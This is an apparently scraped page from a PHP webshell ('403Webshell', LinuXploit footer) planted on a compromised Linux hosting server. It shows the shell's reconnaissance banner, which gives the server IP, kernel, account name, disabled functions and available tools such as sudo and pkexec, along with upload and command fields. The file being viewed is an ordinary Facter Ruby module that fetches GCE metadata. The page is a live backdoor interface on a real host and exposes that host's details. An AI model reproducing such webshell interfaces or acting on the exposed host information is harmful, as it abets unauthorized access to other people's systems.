403Webshell
Server IP : 77.68.64.21  /  Your IP : 216.73.217.59
Web Server : Apache
System : Linux hp3-wp-1011352.hostingp3.local 3.10.0-1160.144.1.el7.tuxcare.els9.x86_64 #1 SMP Fri Jul 10 17:06:31 UTC 2026 x86_64
User : csh2516497 ( 2094697)
PHP Version : 8.3.30
Disable Function : shell_exec,exec,system,popen,set_time_limit
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/ruby/vendor_ruby/facter/gce/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/ruby/vendor_ruby/facter/gce/metadata.rb
require 'open-uri'

module Facter
  module GCE

    # @api private
    class Metadata
      CONNECTION_ERRORS = [
        OpenURI::HTTPError,
        Errno::EHOSTDOWN,
        Errno::EHOSTUNREACH,
        Errno::ENETUNREACH,
        Errno::ECONNABORTED,
        Errno::ECONNREFUSED,
        Errno::ECONNRESET,
        Errno::ETIMEDOUT,
        Timeout::Error,
      ]

      METADATA_URL = "http://metadata/computeMetadata/v1beta1/?recursive=true&alt=json"

      def initialize(url = METADATA_URL)
        @url = url
      end

      def fetch
        with_metadata_server do |body|
          # This will only be reached if the confine associated with this class
          # was true which means that JSON was required, but it's a bit
          # questionable that we're relying on JSON being loaded as a side
          # effect of that.
          hash = ::JSON.parse(body)
          transform_metadata!(hash)
          hash
        end
      end

      private

      def with_metadata_server
        retry_limit = 3
        timeout = 0.05
        body = nil
        attempts = 0

        begin
          Timeout.timeout(timeout) do
            body = open(@url).read
          end
        rescue *CONNECTION_ERRORS => e
          attempts = attempts + 1
          if attempts < retry_limit
            retry
          else
            Facter.log_exception(e, "Unable to fetch metadata from #{@url}: #{e.message}")
            return nil
          end
        end

        if body
          yield body
        end
      end

      # @return [void]
      def transform_metadata!(data)
        case data
        when Hash
          data.keys.each do |key|
            value = data[key]
            if ["image", "machineType", "zone", "network"].include? key
              data[key] = value.split('/').last
            elsif key == "sshKeys"
              data['sshKeys'] = value.split("\n")
            end
            transform_metadata!(value)
          end
        when Array
          data.each do |value|
            transform_metadata!(value)
          end
        end
        nil
      end
    end
  end
end

Youez - 2016 - github.com/yon3zu
LinuXploit